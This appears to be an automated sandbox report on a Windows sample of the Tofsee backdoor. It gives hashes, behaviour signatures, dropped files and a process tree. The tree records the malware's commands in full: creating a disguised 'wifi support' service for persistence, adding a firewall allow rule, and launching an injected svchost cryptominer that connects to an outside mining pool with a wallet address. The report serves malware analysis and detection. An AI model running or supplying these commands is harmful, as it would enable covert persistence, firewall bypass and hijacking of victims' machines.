Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    14-11-2020 18:20

General

  • Target

    08304fe1beab272404d9e7441613eeedf83e7e1a3f11118ae8c51065f1b0493e.exe

  • Size

    248KB

  • MD5

    9aba262030cd07520b64b45e52de27e3

  • SHA1

    c786d8c586bec9121577025e9c83e58d41f7300e

  • SHA256

    08304fe1beab272404d9e7441613eeedf83e7e1a3f11118ae8c51065f1b0493e

  • SHA512

    af6ba281411a1b57d3282b0fa56b772c03ed6decd233e8f8105dee476a26955223d991796f87380818ac7c55e56dacdb69240f72b218d146845994ee62216e66

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\08304fe1beab272404d9e7441613eeedf83e7e1a3f11118ae8c51065f1b0493e.exe
    "C:\Users\Admin\AppData\Local\Temp\08304fe1beab272404d9e7441613eeedf83e7e1a3f11118ae8c51065f1b0493e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\boadhega\
      2⤵
        PID:304
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gxtarquy.exe" C:\Windows\SysWOW64\boadhega\
        2⤵
          PID:1060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create boadhega binPath= "C:\Windows\SysWOW64\boadhega\gxtarquy.exe /d\"C:\Users\Admin\AppData\Local\Temp\08304fe1beab272404d9e7441613eeedf83e7e1a3f11118ae8c51065f1b0493e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:868
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description boadhega "wifi internet conection"
            2⤵
              PID:664
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start boadhega
              2⤵
                PID:368
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1504
            • C:\Windows\SysWOW64\boadhega\gxtarquy.exe
              C:\Windows\SysWOW64\boadhega\gxtarquy.exe /d"C:\Users\Admin\AppData\Local\Temp\08304fe1beab272404d9e7441613eeedf83e7e1a3f11118ae8c51065f1b0493e.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:436
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:928
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:304

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\gxtarquy.exe

              MD5

              0c80be07e654495af0b4830ba205c980

              SHA1

              8eb01c23d388e4095fe83571efeb7786d82dc69d

              SHA256

              19dbbe2e963497ff6373afb08a0d45204479653d75047a6da7a83be37943e7a6

              SHA512

              7c6489ca96cab96ebf28b7aaec8ef3335dd7c73a4baa4bd0d321654c303f3fff3e8ed513255707e360e99aea2e1739d2f4a159f3f5141f37c3fc689d14341a90

            • C:\Windows\SysWOW64\boadhega\gxtarquy.exe

              MD5

              0c80be07e654495af0b4830ba205c980

              SHA1

              8eb01c23d388e4095fe83571efeb7786d82dc69d

              SHA256

              19dbbe2e963497ff6373afb08a0d45204479653d75047a6da7a83be37943e7a6

              SHA512

              7c6489ca96cab96ebf28b7aaec8ef3335dd7c73a4baa4bd0d321654c303f3fff3e8ed513255707e360e99aea2e1739d2f4a159f3f5141f37c3fc689d14341a90

            • memory/304-22-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/304-24-0x000000000011259C-mapping.dmp

            • memory/304-2-0x0000000000000000-mapping.dmp

            • memory/304-21-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/368-7-0x0000000000000000-mapping.dmp

            • memory/436-10-0x000000000026C000-0x000000000026D000-memory.dmp

              Filesize

              4KB

            • memory/436-11-0x0000000000CD0000-0x0000000000CE1000-memory.dmp

              Filesize

              68KB

            • memory/664-6-0x0000000000000000-mapping.dmp

            • memory/684-1-0x00000000020C0000-0x00000000020D1000-memory.dmp

              Filesize

              68KB

            • memory/684-0-0x00000000002CC000-0x00000000002CD000-memory.dmp

              Filesize

              4KB

            • memory/868-5-0x0000000000000000-mapping.dmp

            • memory/928-12-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/928-14-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/928-15-0x0000000001D60000-0x0000000001F6F000-memory.dmp

              Filesize

              2.1MB

            • memory/928-16-0x00000000000E0000-0x00000000000E6000-memory.dmp

              Filesize

              24KB

            • memory/928-17-0x0000000000370000-0x0000000000380000-memory.dmp

              Filesize

              64KB

            • memory/928-18-0x00000000003C0000-0x00000000003C5000-memory.dmp

              Filesize

              20KB

            • memory/928-19-0x00000000057C0000-0x0000000005BCB000-memory.dmp

              Filesize

              4.0MB

            • memory/928-20-0x0000000000400000-0x0000000000407000-memory.dmp

              Filesize

              28KB

            • memory/928-13-0x00000000000C9A6B-mapping.dmp

            • memory/1060-3-0x0000000000000000-mapping.dmp

            • memory/1504-9-0x0000000000000000-mapping.dmp